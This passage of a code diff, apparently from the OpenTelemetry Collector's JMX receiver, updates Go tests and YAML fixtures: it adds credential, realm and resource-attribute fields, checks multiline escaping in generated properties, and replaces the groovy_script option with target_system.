otel.exporter.otlp.timeout = 234000 "three": "four", }, }, + // While these aren't realistic usernames/passwords, we want to test the + // multiline handling in place to reduce the attack surface of the + // interface to the JMX metrics gatherer + Username: "myuser\nname", + Password: `mypass +word`, + Realm: "myrealm", + RemoteProfile: "myprofile", + ResourceAttributes: map[string]string{ + "abc": "123", + "one": "two", + }, }, - `otel.jmx.service.url = service:jmx:rmi:///jndi/rmi://myhost:12345/jmxrmi + `otel.exporter.otlp.endpoint = https://myotlpendpoint +otel.exporter.otlp.headers = one=two,three=four +otel.exporter.otlp.timeout = 234000 otel.jmx.interval.milliseconds = 123000 +otel.jmx.password = mypass \nword +otel.jmx.realm = myrealm +otel.jmx.remote.profile = myprofile +otel.jmx.service.url = service:jmx:rmi:///jndi/rmi://myhost:12345/jmxrmi otel.jmx.target.system = mytargetsystem +otel.jmx.username = myuser\nname otel.metrics.exporter = otlp -otel.exporter.otlp.endpoint = https://myotlpendpoint -otel.exporter.otlp.timeout = 234000 -otel.exporter.otlp.headers = one=two,three=four -`, "", +otel.resource.attributes = abc=123,one=two`, + "", }, { "errors on portless endpoint", Config{ Endpoint: "myhostwithoutport", TargetSystem: "mytargetsystem", - GroovyScript: "mygroovyscript", CollectionInterval: 123 * time.Second, OTLPExporterConfig: otlpExporterConfig{ Endpoint: "myotlpendpoint", @@ -145,7 +116,6 @@ otel.exporter.otlp.headers = one=two,three=four Config{ Endpoint: "myhost:withoutvalidport", TargetSystem: "mytargetsystem", - GroovyScript: "mygroovyscript", CollectionInterval: 123 * time.Second, OTLPExporterConfig: otlpExporterConfig{ Endpoint: "myotlpendpoint", @@ -161,7 +131,6 @@ otel.exporter.otlp.headers = one=two,three=four Config{ Endpoint: ":::", TargetSystem: "mytargetsystem", - GroovyScript: "mygroovyscript", CollectionInterval: 123 * time.Second, OTLPExporterConfig: otlpExporterConfig{ Endpoint: "myotlpendpoint", diff --git a/receiver/jmxreceiver/testdata/config.yaml b/receiver/jmxreceiver/testdata/config.yaml index 5143d58cfe7ca..453aa41a84d27 100644 --- a/receiver/jmxreceiver/testdata/config.yaml +++ b/receiver/jmxreceiver/testdata/config.yaml @@ -3,7 +3,7 @@ receivers: jmx/all: jar_path: myjarpath endpoint: myendpoint:12345 - groovy_script: mygroovyscriptpath + target_system: jvm collection_interval: 15s username: myusername password: mypassword @@ -20,24 +20,31 @@ receivers: truststore_password: mytruststorepassword remote_profile: myremoteprofile realm: myrealm - properties: - property.one: value.one - property.two: value.two.a=value.two.b,value.two.c=value.two.d + log_level: trace + resource_attributes: + one: two additional_jars: - /path/to/additional.jar jmx/missingendpoint: - groovy_script: mygroovyscriptpath + target_system: jvm jmx/missinggroovy: endpoint: service:jmx:rmi:///jndi/rmi://host:12345/jmxrmi jmx/invalidinterval: endpoint: myendpoint:23456 - groovy_script: mygroovyscriptpath + target_system: jvm collection_interval: -100ms jmx/invalidotlptimeout: endpoint: myendpoint:34567 - groovy_script: mygroovyscriptpath + target_system: jvm otlp: timeout: -100ms + jmx/invalidloglevel: + endpoint: myendpoint:55555 + target_system: jvm + log_level: truth + jmx/invalidtargetsystem: + endpoint: myendpoint:55555 + target_system: jvm,nonsense processors: nop: